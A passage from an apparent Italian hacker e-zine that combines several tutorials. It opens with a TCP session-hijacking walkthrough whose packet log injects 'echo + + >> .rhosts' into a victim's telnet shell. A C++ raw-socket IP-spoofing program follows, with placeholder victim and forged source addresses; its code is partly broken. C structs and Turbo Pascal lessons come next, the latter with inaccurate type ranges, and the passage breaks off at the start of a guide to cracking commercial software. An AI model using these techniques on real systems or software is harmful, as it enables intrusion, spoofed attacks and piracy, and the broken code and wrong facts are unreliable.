TCP_SYN_RECV, TCP_FIN_WAIT1, TCP_FIN_WAIT2, TCP_TIME_WAIT, TCP_CLOSE, TCP_CLOSE_WAIT, TCP_LAST_ACK, TCP_LISTEN, TCP_CLOSING /* now a valid state */ }; Kome si puo' desinconizzare lo stato della konnessione? i metodi sono 3 : - A meta' del completamento del 3-way handshake (subito dopo l'invio da parte del server del SYN/ACK) inviamo da parte del client un pacchetto con flag RST ed avviamo una nuova richiesta con un nuovo ISN. Il server aggiornera' il proprio ACK e rispondera' con un nuovo ISN. A questo punto rispondiamo con un ACK all'ISN del server. Il vero client sara' ancora nello stato ESTABLISHED dopo il primo e legale SYN/ACK del server, ma sara' 'scoordinato' rispetto al nuovo ISN del server. - Inviamo dei dati al server, DOPO che la connessione e' stata gia' stabilita, in modo da portare avanti l'ACK del server. Cosi' facendo il client non sara' in grado di fornire il SEQ corretto e sara' desincronizzato rispetto al server. A questo punto abbiamo due possibilita': rimanere o meno occultati. Mi spiego. Il server continuera' a rispondere ai tentativi del vero client con il SEQ/ACK che aspetta. Il client fara' lo stesso. Possiamo lasciare che la loro connessione si blocchi (spesso puo' succedere comunque per motivi di lag e porta ad un nuovo tentativo da parte dell'utente) oppure possiamo agire come negli attacchi del tipo 'man in the middle'. Ovvero possiamo 'tradurre' e smistare coi rispettivi numeri esatti i pacchetti sia per il client che per il server, ovviamente mentre inseriamo i nostri stessi dati, filtrandone l'output agli occhi del client. - Possiamo interrompere agli occhi del client la connessione utilizzando il sistema dei vari nuker su IRC: inviando al sottosistema TCP del client dei messaggi ICMP di tipo HOST_UNREACH o PORT_UNREACH mentre ci impossessiamo del flusso della connessione. Questo metodo e' pero' il piu' visibile in quanto porta a caduta vera e propria della connessione del client. UNa volta desincronizzata la konnessione potremo valutare il nuovo stato di SEQ/ACK del server ed inviare i nostri dati. Dopodiche' ptremo interrompere la konnessione kon un RST o kon un FIn seguito da un ACK del FIN del server. Proviamo a vedere come si presenta un log di rete in presenza di un attacco di questo tipo. Abbiamo una connessione dal sistema 192.168.1.2 al sistema 192.168.1.1 sulla porta 23. Camuffandoci per il client .1.2 interrompiamo la loro connessione ed inseriamo i nostri comandi che verranno prontamente eseguiti dal server =;) : 192.168.1.2:1025 > 192.168.1.1:23 SEQ:3985943535 ACK:0 (TTL:64 Window:512) FLAGS: -S---- 192.168.1.1:23 > 192.168.1.2:1025 SEQ:1000734102 ACK:3985943536 (TTL:64 Window:32736) FLAGS: -S--A- 192.168.1.2:1025 > 192.168.1.1:23 SEQ:3985943536 ACK:1000734103 (TTL:64 Window:32120) FLAGS: ----A- Client e server entrano nello stato ESTABLISHED. Tralascio le opzioni di negoziazione del terminale proprie di Telnet. (... opzioni telnet ...) 192.168.1.1:23 > 192.168.1.2:1025 SEQ:1000734151 ACK:3985943609 (TTL:64 Window:32736) FLAGS: ---PA- 192.168.1.2:1025 > 192.168.1.1:23 SEQ:3985943609 ACK:1000734285 (TTL:64 Window:32120) FLAGS: ---PA- 192.168.1.1:23 > 192.168.1.2:1025 SEQ:1000734285 ACK:3985943612 (TTL:64 Window:32736) FLAGS: ----A- 192.168.1.1:23 > 192.168.1.2:1025 SEQ:1000734285 ACK:3985943612 (TTL:64 Window:32736) FLAGS: ---PA- DATA -> login: Siamo arrivati al prompt della connessione. Ora tralascio le procedure di login, ed arriviamo direttamente alla shell: 192.168.1.1:23 > 192.168.1.2:1025 SEQ:1000734311 ACK:3985943629 (TTL:64 Window:32736) FLAGS: ---PA- DATA -> Last login: Wed Sep 16 11:51:08 on tty2 192.168.1.2:1025 > 192.168.1.1:23 SEQ:3985943629 ACK:1000734352 (TTL:64 Window:32120) FLAGS: ----A- DATA -> (... motd ...) 192.168.1.1:23 > 192.168.1.2:1025 SEQ:1000734899 ACK:3985943629 (TTL:64 Window:32736) FLAGS: ---PA- DATA -> [KoRn@Localhost korn]$ Qui vediamo che ogni dato trasmesso viene sempre accolto con un ACK. Ora entra in gioco il codice per l'HIJACKING. Questo ha bisogno di un singolo pacchetto in transito per catturare la coppia SEQ/ACK del server. Aspettiamo quindi che l'utente digiti UN carattere (questo ovviamente va ottimizzato per non dare nell'occhio, oppure va iniziato prima quando e' il server a trasmettere): 'l'. 192.168.1.2:1025 > 192.168.1.1:23 SEQ:3985943629 ACK:1000734921 (TTL:64 Window:32120) FLAGS: ----A- 192.168.1.2:1025 > 192.168.1.1:23 SEQ:3985943629 ACK:1000734921 (TTL:64 Window:32120) FLAGS: ---PA- DATA -> l I pacchetti spoofati sono contrassegnati qui da una window di soli 255 byte per renderli piu' visibili: 192.168.1.2:1025 > 192.168.1.1:23 SEQ:3985943630 ACK:1000734921 (TTL:255 Window:255) FLAGS: ---PA- 192.168.1.2:1025 > 192.168.1.1:23 SEQ:3985943630 ACK:1000734921 (TTL:255 Window:255) FLAGS: ---PA- Qui abbiamo inserito dei backspace e degli enter. PER CANCELLARE CIO' CHE L'UTENTE STAVA SCRIVENDO NELLA SHELL. 192.168.1.1:23 > 192.168.1.2:1025 SEQ:1000734921 ACK:3985943638 (TTL:64 Window:32736) FLAGS: ---PA- DATA -> l 192.168.1.2:1025 > 192.168.1.1:23 SEQ:3985943629 ACK:1000734921 (TTL:64 Window:32120) FLAGS: ---PA- DATA -> l 192.168.1.1:23 > 192.168.1.2:1025 SEQ:1000734922 ACK:3985943638 (TTL:64 Window:32736) FLAGS: ----A- 192.168.1.1:23 > 192.168.1.2:1025 SEQ:1000734921 ACK:3985943638 (TTL:64 Window:32736) FLAGS: ---PA- DATA -> l 192.168.1.2:1025 > 192.168.1.1:23 SEQ:3985943629 ACK:1000734921 (TTL:64 Window:32120) FLAGS: ---PA- DATA -> l Qui vediamo che il client tenta di ritrasmettere il proprio carattere comunicando la coppia SEQ/ACK da esso effettivamente attesa, non sapendo infatti che abbiamo aggiunto altri dati oltre ai suoi(abbiamo ovvero cancellato il suo carattere e siamo andati a capo). Il server da parte sua comunica invece il suo stato al client. Questo ci serve per poter vedere il suo ACK ed inserire altri pacchetti di conseguenza. 192.168.1.1:23 > 192.168.1.2:1025 SEQ:1000734922 ACK:3985943638 (TTL:64 Window:32736) FLAGS: ----A- 192.168.1.1:23 > 192.168.1.2:1025 SEQ:1000734921 ACK:3985943638 (TTL:64 Window:32736) FLAGS: ---PA- DATA -> l 192.168.1.2:1025 > 192.168.1.1:23 SEQ:3985943638 ACK:1000734922 (TTL:255 Window:255) FLAGS: ---PA- DATA -> echo + + >> .rhosts 192.168.1.1:23 > 192.168.1.2:1025 SEQ:1000734922 ACK:3985943659 (TTL:64 Window:32715) FLAGS: ---PA- DATA -> _ ______ [KoRn@Localhost korn]$ [KoRn@Localhost korn]$ Finalmente siamo stati in grado di inserire il nostro comando, che viene poi riconosciuto dal server e accolto dall' ACK esatto. 192.168.1.2:1025 > 192.168.1.1:23 SEQ:3985943630 ACK:1000734921 (TTL:64 Window:32120) FLAGS: F---A- DATA -> l Abbastanza esausto, il vero client vuole interrompere la connessione, ma il suo SEQ e' ancora fuori sincronia ed e' per questo che il suo stato rimarra' di FIN_WAIT1, in attesa di risposta dal server, che non puo' arrivare. Dopo che sara' passato il tempo 2MSL (leggetevi gli RFC per maggiori info su TCP) la connessione verra' comunque cestinata dal kernel. KoRn -------------------------------------------------------------------------------- IPSPOOFING in C++ Con il termine IpSpoofing si indica l'arte (perche' di arte si tratta...) di inviare dei pacchetti modificati, facendo credere che provengano da un altro host. Molti tutorial sull'argomento riportano il seguente schemino esplicativo, e per non perdere le sane abitudini faro' lo stesso: host A <-------------->X<-------------> host B ^ | host S ----------------- L'host S siamo noi, che decidiamo di 'attaccare' la vittima B facendogli credere di essere A. Chiaro? L'attacco "IpSpoofing", sostanzialmente, puo' essere sfruttato in due modi: il primo consiste nel costruirne uno piu' complesso, magari di tipo DoS (Denyal Of Service), e il secondo creando una comunicazione bilaterale alla cieca con la vittima. Ovvio che la seconda tipologia di attacco risulta molto piu' complessa (quasi impossibile), infatti ci si deve preoccupare di prevedere le risposte di B e di inviare pacchetti costruiti sulla base di questo guess (che poliglotta :-). Noi non ci preoccuperemo di come utilizzare lo spoofing, ma solo di come realizzare i pacchetti falsificati. In realta' esiste anche un Ipspoofing "buono" : l'IPmasquerading per le reti, ma questa e' un'altra storia...... Il linguaggio da me scielto e' il C++, ma per gli amanti del VisualBasic ho una buona notizia: lo potete fare anche voi, solo che invece di usare il controllo winsock.ocx, dovete cercare in internet il modulo winsock.bas . Infatti l'ocx vi permette di inviare dei pacchetti solo utilizzando 2 tipi di socket (TCP e UDP), mentre noi dovremo sfruttare la potenza dei RAW-socket (socket grezzi). Proprio i raw-socket sono alla base dell'IpSpoofing; questi in quanto grezzi ci consentono di costruire i pacchetti simulando o il TCP o l'UDP o l'ICMP, e permettendoci di sciegliere l'IP del mittente che apparira' nell'header del pacchetto. Bene, cominciamo. La prima cosa da fare è quella di dichiarare le variabili e di inizializzare un socket: //molto di questo codice e' simile a quello dell'MSDN.......... //in fondo in fondo anche Bill e' un hacker!!! #include #include #include #include #define xmalloc(s) HeapAlloc(GetProcessHeap(),HEAP_ZERO_MEMORY,(s)) #define xfree(p) HeapFree (GetProcessHeap(),0,(p)) //qui poi inseriremo le struct USHORT calccheck(USHORT *buffer, int size); //prototipo int main(int argc, char **argv) { SOCKET sockRaw, option; struct sockaddr_in dest,from; WORD wVersionRequested = MAKEWORD( 2, 1); //winsock versione 2 WSADATA wsaData; int err,destlen = sizeof(dest); int datasize; char *tcp_data; char *buffer=" I DATI DA INVIARE :-)"; if ((err = WSAStartup (&wVersionRequested, &wsaData)) != 0) { printf ("Non trovo la winsock.dll. \n"); return (1); }; // Bisogna gestire un pochino anche gli errori! if ((sockRaw=socket(AF_INET,SOCK_RAW,IPPROTO_TCP)) == INVALID_SOCKET) { printf ("Non riesco ad inizializzare il socket.\n); return (1); }; Ora si deve pensare a modellare il socket grezzo appena creato, plasmandolo al fine di fargli avere un header IP adattato alle nostre esigenze. Per fare questo si devono dichiarare delle strutture adatte al nostro caso, che andremo ad inserire prima della funzione main. In realta' esistono librerie che lo fanno al posto nostro, ma ritengo piu' utile farlo fare a voi, per capire realmente quello che stiamo realizzando. // L' IP header struct IpHeader { unsigned int h_len:4; // lunghezza dell'header unsigned int version:4; // Versione di IP unsigned char tos; // Tipo di servizio unsigned short total_len; // lunghezza totale del pacchetto unsigned short ident; // id unsigned short frag_and_flags; // flags unsigned char ttl; // time to live del pacchetto unsigned char proto; // protocollo (TCP, UDP etc) unsigned short checksum; // IP checksum unsigned int sourceIP; unsigned int destIP; }; struct tcpheader { unsigned short source, dest; //le porte attraverso cui comunicare unsigned long seq, ack; unsigned short offset, window, checksum, priority; }; Fino a qui tutto semplice. Avrete notato che ho dichiarato solo una struttura di tipo tcpheader, perche' ho deciso che faremo solo tale tipo di attacco. Per quanti volessero agire sull'UDP di seguito vi riporto la struct necessaria ( quanto sono buono!!!): struct udpheader { unsigned long source, dest, length, checksum; }; Ovviamente lo scopo del nostro codice sara' quello di riempire le strutture con i dati che vogliamo noi, e poi preoccuparci di spedirle. Per quanti non lo sapessero una comunicazione di tipo TCP/IP consta di 4 livelli, ma a noi in questo articolo ne interesseranno solo 2: il livello che si preoccupa di avvolgere i dati con un header TCP, e quello che lo lavora con il protocollo IP. Gl'altri due livelli sono gestiti dal kernel e dall'applicazione. Il primo dei due indirizza i dati (o con Ethernet o con Internet o con ......), mentre il secondo li interpreta (FTP, HTTP o altro). Non rimane che riempire i campi delle due strutture. Questo lo si puo' fare a piacere, rispettando pero' i protocolli. Avvisiamo il socket che inseriremo noi l'IP nel contenuto del pacchetto setsockopt(sockRaw,IPPROTO_IP,IP_HDRINCL,&option, sizeof(int)); if(option == SOCKET_ERROR) { printf("Impossibile settare l'IP nel pacchetto.\n"); return(1); } memset(&dest,0,sizeof(dest)); //impostiamo i dati della vittima dest.sin_addr.s_addr=inet_addr("213.112.211.3"); //mettere qui l'IP vittima dest.sin_family=AF_INET; dest.sin_port=htons(port2); //la porta di destinazione datasize=sizeof(buffer); //creiamo il pacchetto da spedire tcp_data=xmalloc(1024); //aumentarne il valore se si vogliono spedire pacchetti piu' lunghi //N:B: in tcp_data i primi 40 bytes sono riservati agli headers! if (!tcp_data) { printf("HeapAlloc fallito\n"); return(1); }; memset(tcp_data,0,1024); IpHeader *spip=(struct IpHeader *)tcp_data; int TCP_HEADER_BASE=20; //il TCP deve essere di 20 byte int IP_HEADER_BASE=20; // l'IP deve essere di 20 byte spip->h_len =5; // word di 32 bit spip->version = IP_VERSION; //normalmente uguale a 4 spip->tos=0; spip->total_len= htons(IP_HEADER_BASE+TCP_HEADER_BASE+datasize); spip->ident=htons((USHORT)GetCurrentProcessId()); spip->frag_and_flags=0; spip->ttl=60; //diamo un minuto di vita al pacchetto spip->protocol=0x06; // per l'UDP mettere 0x11 (17) spip->sourceip=inet_addr("132.231.111.0"); //mettere qui il finto IP spip->destip=inet_addr("213.112.211.3"); //mettere qui l'IP vittima spip->checksum=calccheck((unsigned short *) spip, IP_HEADER_BASE); tcpheader *sptcp=(struct tcpheader *)(tcpdata+IP_HEADER_BASE); sptcp->source = htons(port); //dove port la porta da cui trasmettere sptcp->dest = htons(port2); //ovviamente la porta di destinazione sptcp->seq=htoln(1310); //mettete il valore che volete Il seq sarebbe una chiave di sicurezza per il protocollo TCP. Questa evita che io possa sniffare i pacchetti che i due host (A e B) si scambiano. E' generata casualmente, ecco perche' una comunicazione bilaterale puo' essere fatta solo alla cieca. Altrimenti provate voi ad indovinare la chiave di comunicazione tra A e B, e se ci riuscite avete scoperto la fusione a freddo..... sptcp->ack=htons(0); //lo setto a 0 perche' tanto non ricevero' mai la risposta sptcp->window=htons(0x7c00); sptcp->offset=htons(((TCP_HEADER_BASE)/4)<<12)|flags; Flags lo decidete voi: dipende se il pacchetto vuole essere SYN, ACK, RST, etc... Per sapere come fare leggetevi un po' l'MSDN e gli RFC! Altri utilizzano una struct pseudotcp per facilitare il settaggio di tale offset, ma noi siamo dei duri........usiamo l'OR binario! sptcp->priority=0; sptcp->checksum=calccheck((unsigned short *) sptcp, IP_HEADER_BASE+TCP_HEADER_BASE); L'ultima cosa da fare e' spedire il pacchetto. Come avrete capito la differenza tra un socket raw e uno no, sta nel fatto che in quello grezzo si devono inserire gli headers nel buffer dei dati da spedire, mentre gl'altri lo fanno da soli. Percio', per finire l'operazione, dobbiamo copiare alla fine degl' headers in tcp_data il buffer, cioe' i dati da inviare. memcpy(tcp_data,buffer,IP_HEADER_BASE+HEADER_BASE); err=sendto(sockRaw,tcp_data,datasize,0,(struct sockaddr*)&dest,destlen); if (err==SOCKET_ERROR)) { printf("Non riesco a spedire i dati."); return(1); }; shutdown(sockRaw); close(sockRaw); printf("Tutto Ok." Li abbiamo fregati :-P"); xfree(tcp_data); xfree(buffer); return (0); }; Finito. Ricapitoliamo quanto abbiamo appena fatto: 1. abbiamo creato un socket grezzo, cioe' senza intestazioni 2. ci siamo creati un intestazione TCP ed una IP 3. abbiamo unito gli headers ed i dati in un unico buffer 4. abbiamo spedito il pacchetto attraverso il raw-socket In conclusione posso solo dirvi che quanto appena visto e' altamente illegale, quindi non usiamolo per fare scherzi, o per mandare fakemail ancora piu' anonime... Non mi ritengo responsabile di un uso illegale. Io vi ho avvisati. Per ultimo vi riporto il codice della classica funzione che calcola il checksum, ma potete sostituirla con qualunque altra meglio implementata: USHORT calccheck(USHORT *buffer, int size) { unsigned long cksum=0; while(size >1) { cksum+=*buffer++; size -=sizeof(USHORT); } if(size ) { cksum += *(UCHAR*)buffer; } cksum = (cksum >> 16) + (cksum & 0xffff); cksum += (cksum >>16); return (USHORT)(~cksum); }; Ora ho proprio finito! Alla prossima. loxeo@libero.it -------------------------------------------------------------------------------- ------------------ BRNOCRIST TUTORIAL ------------------ StRuTtUrE iN c Perfetto... siamo di nuovo qua... Non e' di sicuro il momento + bello della mia vita, anzi forse e' il peggiore perche' ho perso la persona di cui mi fidavo di piu'... lasciamo stare ste cose andiamo al sodo... Strutture... Oltre agli array nel linguaggio C, come in altri, è possibile definire dei tipi di dati aggiuntivi, derivati dai tipi primitivi. A differenza degli array che sono una serie di elementi uguali, tutti adiacenti nel modello di rappresentazione della memoria (ideale o reale che sia) le strutture sono elementi adiacenti siano di tipo differente. In pratica, una struttura è una sorta di mappa di accesso a un'area di memoria. Vediamo qualche esempio: struct automobile { char *marca; char *modello; int venduto; } prima; /* il ; e' fondamentale */ Adesso andiamo a riempire i campi della nostra struttura: prima.marca = "FERRARI"; prima.modello = "F40"; prima.venduto = 20; Bene facciamo un esempio completo: /* *START* */ #include struct automobile { char *marca; char *modello; int venduto; }; main() { struct automobile prima; prima.marca = "FERRARI"; prima.modello = "F40"; prima.venduto = 200; printf("marca auto = %s\n", prima.marca); printf("modello auto = %s\n", prima.modello); printf("vendute = %d\n", prima.venduto); } /* *STOP* */ Bene spero che fin qua ci siamo... :D Vediamo di usare le trutture con i puntatori. struct napoli { char *grande; int solo; }; struct napoli *oasis; bene come abbiamo visto prima, per gli assegnamenti dovremo fare: (*oasis).grande = "working"; (*oasis).solo = 100; il C ci offre un operatore piu' fiQo :D oasis->grande = "working"; oasis->solo = 100; struct napoli *subsonica, pd, pm; subsonica = &pd; subsonica->grande = "liberi" subonica->solo = 200; Attraverso il puntatore "subsonica" si possono raggiungere i membri della variabile struttura "pd". I puntatori a struttura sono molto usati specialmente per passare una struttura a una funzione, e per far sì che una funzione ritorni un risultato di tipo struttura: int funz_pd(struct napoli *dt) { if(!strcmp(dt->grande,"working")) return(1); else if(!strcmp(dt->grande,"liberi")) return(2); if(dt->solo == 100) return(3); else return(0); } spero abbiate capito qualcosa...(se nn avete capito aprite il K&R e sbroccate) :D /* Campi */ All'interno di una struttura è possibile avere accesso a ogni singolo bit di un tipo di dati determinato, oppure a gruppi di bit. In pratica viene assegnato un nome a ogni bit o gruppo. struct leds { unsigned char bA :1, bB :1, bC :1, bD :1, bE :1, bF :1, bG :1, bH :1, }; L'esempio mostra l'abbinamento di 8 variabili ai bit di un tipo char. Il primo, bA, rappresenta il bit più a destra, ovvero quello meno significativo. Se il tipo char occupasse una dimensione maggiore di 8 bit, la parte eccedente verrebbe semplicemente sprecata. struct leds ledsauto; ... ledsauto.bC = 1; L'esempio mostra la dichiarazione della variabile ledsauto come appartenente alla struttura mostrata sopra, quindi l'assegnamento del terzo bit a uno, probabilmente per "accendere" il led associato. Volendo indicare un gruppo di bit maggiore, basta aumentare il numero indicato a fianco dei nomi dei campi, come nell'esempio seguente: struct Prova { unsigned char bA :1, bB :1, bC :1, stato :4; }; Nell'esempio appena mostrato, si usano i primi tre bit in maniera singola (per qualche scopo) e altri quattro per contenere un'informazione più consistente. Ciò che resta (probabilmente solo un bit) viene semplicemente ignorato. /* buh */ Non chiedermi chi sono o chi voglio essere, chiedimi solo perche' sono diverso...Sono diverso perche' odio l'ipocrisia odio Berlusconi odio i Fascisti odio tutto cio' che e' consumismo... /* slaps */ La prima volta che ti ho visto 5 giorni fa eri bellissima una luce irresistibile scherzavi e ridevi con i tuoi amici mentre guardavi le vetrine dei negozi chi sa se un giorno potro' mai rincontrarti, chi sa se solo per una volta abbracciarti... Adesso ancora io posso innamorarmi hai conquistato gia il mio cuore da bambino Adesso ancora io posso innamorarmi chi sa se un giorno potro' mai rincontrarti. passano i mesi ma adesso ti rivedo sei ancor piu' bella una luce ancor piu' intensa chi sa se avro' il coraggio di affrontare tutto cio' ma la paura e' tanta e nn si toglie neanche un po' chi sa se un giorno potro' mai rincontrarti, chi sa se solo per una volta abbracciarti... Adesso ancora io posso innamorarmi hai conquistato gia il mio cuore da bambino Adesso ancora io posso innamorarmi chi sa se un giorno potro' mai rincontrarti. chi sa se solo per una volta abbracciarti... Adesso ancora io posso innamorarmi hai conquistato gia il mio cuore da bambino /* slaps off */ /* tNx */ Ringrazio tutti i miei veri amici Syscall, IfConfig`, harada, Pit, acidi`, xin, lordfelix, e in particolare una persona che mi ha fatto sentire importante Grazia, grazie tesoro anche se nn lo sono mai stato per te... ------------------------------------------------------------------------------- _____ ___ ____ _____ ___ _ | _ \ / _ \ / __| / ___| / _ \ | | | |_| | / /_\ \ | |_ | / / /_\ \ | | | ___/ | _ | \__ \ | | | _ | | | | | | | | | ___| | | \___ | | | | | |___ |_| |_| |_| |____/ \_____| |_| |_| |_____| (minchia come m'incista far 'sti disegnini!) Ieccuma aqqua, sono io KoRnuto qui per insegnarvi a smanettare col Turbo Pascal!!! allora... non credo serva a niente, ma cominciamo con una bella presentazione a questo linguaggio di programmazione (ke balle)... Il turbo pascal, è uno di quei linguaggi di programmazione che nessuno avrebbe mai imparato se ci fosse sempre stato il C e il C++, per questo, io adesso vi spiego come si usa questo facile (in alcuni casi) linguaggio di programmazione e come può essere usato e in quali occasioni... capirete che se siete degli esperti: non come me, io sono solo come uno smanettone qualsiasi, che passa il tempo a provare a programmare, ma nonostante la mia SFIGA assoluta, non riuscirò mai ad avere risultati concreti: ad esempio, io uso da quest'anno sfigato 2003 il mitico (per me) Free Pascal. giusto di recente 'sto compilatore, di punto in bianco, ha smesso di funzionare come si deve, nella dichiarazione degli Uses, mi dice che il programma si aspettava una UNIT e invece trova il nome del programma :°°°°-( (lo capirete più tardi) bo, dopo questa presentazione un po' inutile (ke balle) possiamo passare ad imparare questo linguaggio molto semplice, non per usi complicatissimi, ma per le cazzatine come le somme, le aree, e altro... Quindi, pensateci due volte prima di bere un bicchiere d'acqua (mah) Allora ricordatevi che in un programma in Turbo Pascal, anzi, in ogni programma in Turbo Pascal la struttura è + o - così: |¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯| | Blocco delle Dichiarazioni | | | |Nome del Programma | |Dichiarazione degli Uses | |Dichiarazione delle variabili | |Dichiarazione delle costanti | |Dichiarazione dei Type | |-------------------------------| | | | Blocco delle Istruzioni | | | |Inizio del programma (begin) | |Istruzioni | |Fine del programma (end) | |_______________________________| Non cominciate a disperarvi già adesso, ora vi spiego tutto quanto parola per parola... allora, tutto quello che scrivete nel blocco delle dichiarazioni è opzionale, mentre il blocco delle istruzioni è obbligatorio, se no, il programma sarà vuoto... poi vedremo tutte le istruzioni dopo. IIIIIII Allora cominciamo (°-.- ) ¯¯¯¯¯ (questo dovrebbe essere un disegnino ascii ]:-D) perfetto, sappiamo com'è fatto un programma in Turbo Pascal, ora dobbiamo sapere che in ogni programma in Pascal, ogni Istruzione, (diciamo ogni riga) va terminata da un ';' perché? semplice, questa è il carattere che dice al compilatore che è finita un'istruzione in modo che possa passare alla successiva. adesso costruiamo il primo programmino per analizzarlo istruzione dopo istruzione... Program nomeprog; uses crt; var hello:string; begin hello:='Hello World'; writeln (hello); readln; end. (COMMENTO DI MACRO SIX³) potevi anke togliere hello:='Hello World' e + semplicemente scrivere writeln ('Hello World'), ma è solo un piccolo commento, nulla di +, ognuno fa come gli pare..magari lo potresti scrivere come appunto in modo ke sappiano ke esistono sti due modi...poi fai come vuoi... (/COMMENTO DI MACRO SIX³) Questo programma, come vede l'usanza della Borland che ha fatto partire l'uso dei linguaggi di programmazione, per il più semplice tipo di programma (che ho detto?) ecco... spero che abbiate capito (chiedo scusa per il mio italiano un po' scarso)... allora cominciamo con l'analizzazione di ogni istruzione: PROGRAM NOMEPROG; questa istruzione dichiara il nome del programma, il nome può essere lungo al massimo 8 caratteri e non può avere neanche dei caratteri strani... USES CRT; questa istruzione dichiara le librerie che il programma userà, (crt,dos e tanti altri ma questi sono i più importanti) ad esempio, il CRT potrà servire per aggiungere dei nuovi comandi, come clrscr - delay(numeromillisecondi) - textbackground(numero) - textcolor(numero) gotoxy(x,y); questi comandi, servono, non solo per abbellire il nostro programmino come cancellare lo schermo (clrscr che significa clear screen), per far aspettare al programma un tot di millisecondi (delay(millisec)), per cambiare il colore dello sfondo (textbackground), il colore del testo (textcolor) e per spostare la compilazione del programma in una determinata riga e colonna (x=riga - y=colonna [per chi non lo sapesse]) VAR HELLO:STRING; questa istruzione dichiara una variabile (credo che tutti sappiano che cosa sia essa, ma per chi non lo sapesse, adesso lo spiego [anche se mi chiedo come fa un futuro programmatore a non sapere che cos'è una variabile]). una variabile è un elemento, che in matematica, può cambiare dopo alcuni calcoli matematici come A = 1+1 ciò vuol dire che A vale 2, nel Turbo Pascal, per attribuire alla lettera, un valore qualsiasi, non si potrà fare durante la sua dichiarazione, ma nel blocco delle istruzioni, come fare?, lo vedremo poi. BEGIN questa istruzione, dichiara l'inizio del blocco delle istruzioni, normalmente, perché un programma funzioni correttamente, anzi, funzioni proprio, bisogna mettere tanti END quanti BEGIN, vedremo poi cosa sono gli END (anche se s'intuisce). HELLO:='HELLO WORLD'; questa istruzione, come dicevamo prima, attribuisce alla variabile HELLO (che è una variabile di tipo stringa, ciò vuol dire che si può inserire non solo i numeri, ma anche le lettere) la frase HELLO WORLD, per farlo, la sintassi obbligatoria, è :='@@@' (dove @@@ sta per il valore della variabile). Esistono parecchi tipi di variabili, io ve le segno, ma i numeri, sappiate che sono approssimati. Integer: numeri da circa -36700 a 36700 Real: numeri decimali, i numeri non li ricordo Longint: numeri da circa -1760000 a 1760000 Smallint: numeri, meno di integer che non ricordo Byte: numeri da 0 a 255 Char: caratteri ASCII String: L'abbiamo spiegato sopra Word: numeri da non mi ricordo a idem Dword: (non so nemmeno se esiste) però, un po' di più di WORD ECCETERA CHE NON MI RICORDO WRITELN(HELLO); questa istruzione fa scrivere al programma, nella nostra bella console di DOS, ciò che ci scriviamo dentro, questa istruzione, può essere usata in vari modi. writeln('Hello World'); oppure writeln('ciao',hello,' ecc ',altravariabile); scommetto che non ci avete capito niente... allora, analizziamo la prima... appena scrivete WRITELN, subito dopo dovete aprire le parentesi tonde e aprire gli apici se volete far scrivere alla console la frase che volete voi poi, la seconda... scrivete WRITELN, aprite le parentesi tonde e gli apici, in mezzo agli apici, scriverete ciò che volete far uscire alla console, poi, dopo aver messo il secondo apice, cosa vuol dire quella virgola? quella virgola serve per far capire al compilatore che si sta per inserire una variabile nella istruzione WRITELN. Ciò farà scrivere alla console il valore della variabile che inserirete, poi se volete scrivere dopo la variabile qualcosa voi, allora dovete inserire un'altra virgola (un po' come per chiudere il testo, l'apice al contrario)e per riaprire il testo da inserire, dovete inserire anche l'apice eccetera. ad esempio, mettiamo la seguente frase: WRITELN('CIAO ',NOME,' QUANTI ANNI HAI? SE NON SBAGLIO SEI ',M); la variabile NOME sarà "Gianni" e la variabile M è "Maschio" sulla console del DOS ci sarà scritto: CIAO Gianni QUANTI ANNI HAI? SE NON SBAGLIO SEI Maschio avete capito + o - come funzia 'sta roba? se no, mi suicido... READLN; questa istruzione sta ad indicare che il programma, una volta arrivato a questo punto, attende che l'utente scriva una qualsiasi cosa che verrà registrata in una variabile inizializzata apposta per questo scopo. Per esempio READLN(CIAO); registrerà tutto cio ke l'utente scrive nella variabile CIAO. END. Dichiara la fine del programma. Nel caso, non sia la fine del programma, ma ci siano degli altri BEGIN all'interno del programma, bisognerà inserire tanti END quanti i BEGIN, nel caso degli END all'interno del programma che non dichiarano la fine del programma, ma semplicemente di un blocco, al posto del punto, bisogna mettere il punto e virgola. tutto chiaro? spero di sì. CIAO PIPOL = SCIT alla proxima KoRnuto & Macro Six³ A thanx to: Macro Six³ Deazy07 LordLothar Ollover (anche se non sa cos'è un computer) Caligola Cyberdude Mithenks (sei sempre fra noi!!!) Hackhertz Rioma |0z| Kitsune-Chan Jert Tutti i frequentatori di #programming A fuck to: Darkell ]M4DyZ[ Tangela Lex TFV Link- (anche se è un bot) il gatto del mio vicino (Filippo) Roy- Marko (perennemente away) Steve (perennemente [out]) byezz -------------------------------------------------------------------------------- ____________________________________________________________________________ | MMMMMMM RRRRR ILLLLI MMMMMMM VI KI NN NNN NN MMMMMMMM | | CLILILI R O IA AI CLILILI VI KI NN NNNN NN CLILILIL | | CI R O IA AI CI VIKI NN NN NN NN CI | | CI RUUUH :AAIIIIAA: CI VIKI NN NN NN NN CI MMMM | | CI R GI AI IA CI VI KI NN NN NNNN CI NN | | CLILILI R GI IA AI CLILILI VI KI NN NN NNN CLILILIL | | MMMMMMM R GI IA AI MMMMMMM VI KI NN NN NN MMMMMMMM | ____________________________________________________________________________ by Macro SiX³ _____________ |iMPORTANTE!| Tutto cio ke troverete qui è *SOLO ED ESCLUSiVAMENTE* a scopo informativo e non mi assumo *NESSUNA* responsabilità dell'uso ke ne potete fare, quindi se il programma vi piace, *COMPRATEVELO*! Altrimenti sappiate ke state facendo qualcosa di illegale e potreste essere perseguiti legalmente. Ohhh, eccoci finalmente qui, tutti felici e contenti (banfoni :) per la prima puntata al cracking di Macro SiX³...cioe me :) Premetto che sono un niubbo ankio riguardo al cracking ed ho molto da imparare ancora...ma qualcosina gia la so, così ho deciso di fare questo tutorial al cracking sperando ke non sia il primo e l'ultimo :) Prima di tutto, ecco tutto cio ke vi occorre: Occorrente: 1)W32Dasm 2)Hiew 3)Acoustica (cioe il prog ke andremo a crackare ;) 4)Sapere le basi dell'assembler Mentre questo occorre a me: 1)Tempo 2)Slipknot sparati a tutto volume nelle orecchie 3)Computer 4)Internet per darvi i link, mica li so a memoria :P Ok, il W32Dasm e l'Hiew lo potete prendere da www.crackstore.com o da un qualsiasi sito ke volete, mentre per il programma Acoustica, eccovi il link (http://web9.assortedinternet.com/~malaisi/files/10.html, sperando funzioni ancora il link :).Bene,per quanto riguarda l'assembler...beh...sempre sul mio sito troverete le guide a riguardo :) Vi consiglio dei tutorial sul cracking per imparare le basi dell'assembler, dato ke in genere all'inizio lo spiegano... Ma torniamo a noi...prima di tutto, apriamo il nostro caro e fidato W32Dasm e apriamo il file ke fa partire il programma di Acoustica, cioe iMix.exe (lo 